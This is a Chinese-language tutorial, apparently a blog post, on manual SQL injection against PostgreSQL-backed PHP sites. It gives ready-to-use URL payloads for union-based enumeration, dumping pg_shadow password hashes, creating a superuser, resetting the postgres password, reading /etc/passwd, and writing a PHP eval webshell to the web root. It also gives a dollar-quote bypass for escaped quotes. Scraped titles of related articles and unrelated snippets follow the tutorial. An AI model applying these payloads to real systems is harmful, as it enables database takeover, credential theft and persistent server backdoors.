一般注入多用于在mssql和mysql两类数据库中,如mssql+asp、mysql+php则是最为常见的搭配环境。不同的网站应用的数据库也大不一样,根据数据库的处理能力、负载等多重因素决定。本文主要述说下关于少见的一类数据库注入:PostgreSQL。

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),可以说是目前世界上最先进,功能最强大的自由数据库管理系统。Postgres 的基本语法与 mysql 类似,如果对手工注入或 sql 语法有较多了解不会有任何困难。 这里只列举几种语法特性与常用语句,以供参考,更多的资料参考官方文档: http://www.postgresql.org/docs/9.2/static/sql-syntax.html (注:所有的 sql 语句不区分大小写,无论是操作符还是字段名,Postgres 都是大小写不敏感的)。

了解PostgreSQL

1.同其他数据库一致,SQL语句基本一致
2.支持/*、/**/、–注释,;和\g表示语句结束
3.使用||可以连接字符串(类似于mssql中的+),同时需要注意特殊字符被转义
4.无法自动匹配字段
5.web管理程序为phpPgAdmin
6.开放的默认端口为5432

PostgreSQL注入语句

http://xxx/1.php?id=1+order+by+x--     //order by猜字段数

http://xxx/1.php?id=1+and+1::int=1--     //判断postgresql数据库

http://xxx/1.php?id=1+and+1=cast(version() as int)--    //通过cast类型转换来暴postgresql信息

http://xxx/1.php?id=1+and+1=2+union+select+null,null,null,null--     //全部用null填充 方便在测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,null,null,null--     //测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,version(),null,4--   //当前PostgreSQL版本

http://xxx/1.php?id=1+and+1=2+union+select+1,null,user,null,4--   //当前用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_schema(),null,4--   //当前用户权限

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_database(),null,4--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,datname,null,4+from+pg_database+limit+1+offset+0--   //当前数据库名字

http://xxx/1.php?id=1+and+1=2+union+select+1,null,csession_user,null,4--   //会话用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_user,null,4--

http://xxx/1.php?id=1+and+1=cast(current_user ||999 as int)--   //目前执行环境下的用户名

http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_stat_user_tables+limit+1+offset+0--   //到所有用户表,修改offset后面的
或(加入relkind=’r’,只查询普通表)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_class+where+relkind='r'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,oid,null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--   //得到表名为xxx的oid值
或(由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,cast(oid+as+varchar(10)),null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,column_name,null,4+from+information_schema.columns+where+table_name='表名'+limit+1+offset+0--     //读取每个表名的字段.(需要在information_schema模式没有删除的情况下)
或(利用对应表名为xxx的oid值)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,attname,null,4+from+pg_attribute+where+attrelid=oid值+limit+1+offset+0–

http://xxx/1.php?id=1+and+1=2+union+select+1,null,usename||chr(124)||passwd,null,4+from+pg_shadow+limit+1+offset+0--   //数据库用户的信息pg_shadow(pg_shadow 关键字段username、passwd和usesuper,不过此表被做了权限设置)

postgres用户

注:postgres用户权限相当于mysql的root用户权限

新建用户(user=polar1dear,pwd=polar1dear)

;create+user+polar1dear+with+superuser+password+'polar1dear'--

修改postgres用户密码

;alter+user+postgres+with+password+'polar1dear'--

遍历当前数据库全部表

select+tablename+from+pg_tables+where+tablename+not+like+'pg%'+and+tablename+not+like+'sql_%'+order+by+tablename--

读、写文件

通过数据库写文件来获取webshell是最为直接的方式了,不需要找后台,也不需要找上传漏洞,甚至我们可以通过数据库来直接获取到服务器的hash值进行破解。

1.写文件(主要用于写后门)

http://xxx/1.php?id=1;create table polar1dear(shell text not null);   //创建表polar1dear和字段shell
http://xxx/1.php?id=1;insert into polar1dear values(‘<?php eval($_POST[cmd]);?>’);   //写入代码到数据库
http://xxx/1.php?id=1;copy polar1dear(shell) to '/var/www/html/xxx.php';   ////导出为xxx.php文件

则后门为:http://xxx/xxx.php
另一种简便的方法(直接一句话):
copy (select ‘<?php eval($_POST[cmd]);?>’) to ‘/var/www/html/xxx.php’

2.读文件

http://xxx/1.php?id=1;create table polar1dear(file text not null);     //创建表polar1dear和字段file
http://xxx/1.php?id=1;copy polar1dear(file) from '/etc/passwd';   //复制文件内容到字段中
http://xxx/1.php?id=1;select * from polar1dear;   //查询

转义绕过

如果PHP中开启了magic_quotes_gpc=on,那么很悲剧的是一些符号将会被转义,如执行select pass from member where name=”admin”,最后的语句执行时为:select pass from member where name=\”admin\”。其他数据库我们尝是通过hex、char编码来解决这个问题,而在PostgreSQL中除此之外还提供了一种新的方法来绕过。在语句中,允许我们通过$和$之间来绕过引号的转义或者过滤问题,可以改写成这样:select pass from member where name=$admin$,;insert into polar1dear values($$<?php eval($_POST[cmd]);?>$$);如此就成功的绕过了引号问题。

PostgreSQL注入基础的更多相关文章

  1. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  2. JNDI注入基础

    JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...

  3. Java Web系列:Spring依赖注入基础

    一.Spring简介 1.Spring简化Java开发 Spring Framework是一个应用框架,框架一般是半成品,我们在框架的基础上可以不用每个项目自己实现架构.基础设施和常用功能性组件,而是 ...

  4. 通过sqli-labs学习sql注入——基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...

  5. 通过sqli-labs学习sql注入——基础挑战之less1

    环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...

  6. postgresql架构基础(转)-(1)

    PostgreSQL使用一种客户端/服务器的模型.一次PostgreSQL会话由下列相关的进程(程序)组成: 一个服务器进程,它管理数据库文件.接受来自客户端应用与数据库的联接并且代表客户端在数据库上 ...

  7. Sqli-labs之sql注入基础知识

    (1)注入的分类 基于从服务器接收到的响应  ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...

  8. WEB安全基础之sql注入基础

    1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SEL ...

  9. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

随机推荐

  1. mysql 重点性能测试指标

    #qps 每秒钟查询数量 计算方式queries/seconds 查询总数/秒数show GLOBAL STATUS LIKE 'question%' #tps 每秒事务数 计算方式 (com_com ...

  2. echarts常用方法(一)

    目前,项目中涉及到图表的,使用echarts的频率较多,因为UI设计一般不会考虑到是否能实现的问题,他们专注的只是显示的效果.所以作为前端开发,要对echarts进行不同程度的改造,组合,甚至重写等. ...

  3. 2019南昌网络赛G. tsy's number

    题意:\(\sum_{i=1}^n\sum_{j=1}^n\sum_{k=1}^n\frac{\phi(i)*\phi(j^2)*\phi(k^3)}{\phi(i)*\phi(j)*\phi(k)} ...

  4. 常用User-Agent大全

    浏览器User-Agent的详细信息 PC端: safari 5.1 – MAC User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8 ...

  5. js中字节B转化成KB,MB,GB

    function change(limit){ var size = ""; if(limit < 0.1 * 1024){ //小于0.1KB,则转化成B size = l ...

  6. 一位资深Java架构师的晋级心得

    架构师是什么? 是一个既需要掌控整体又需要洞悉局部瓶颈并依据具体的业务场景给出解决方案的团队领导型人物.一个架构师得需要足够的想像力,能把各种目标需求进行不同维度的扩展,为目标客户提供更为全面的需求清 ...

  7. CentOS 7 常用命令大全

    CentOS7 常用命令集合 这两天一直在对CentOS 7.2进行初体验,各种学习命令肿么用,不过其实大多和DOS是一样的,只是命令的表达上可能有点儿不一样,毕竟这些都不是一家出来的嘛~ 废话不多说 ...

  8. ANG通证是什么?有关ANG通证的干货都在这里

    什么是ANG通证?▲▲▲ 通证也叫代币,是一个虚拟账户名称,是电子卡的虚拟货币.举个简单的例子,腾讯的Q币就是一种通证,我们用货币购换数个Q币,代以购买腾讯游戏里的装备等. 目前,随着加密数字通证的发 ...

  9. 自动化扫描src漏洞

    首先介绍一下常见的漏洞类型: 漏洞自动扫描思路: 常见的一些github上常用的漏洞采集工具,我们可以利用一款工具进行接口调用直接进行利用 自动化工具的雏形:

  10. flask 第三章 特殊装饰器 CBV Flask-Session WTForms

    1.flask中的特殊装饰器 前面我们讲过的装饰器函数中,用来登录验证,这次我们来介绍几个flask中的特殊装饰器 1). @app.before_request 具体的用途是: 在请求进入视图函数之 ...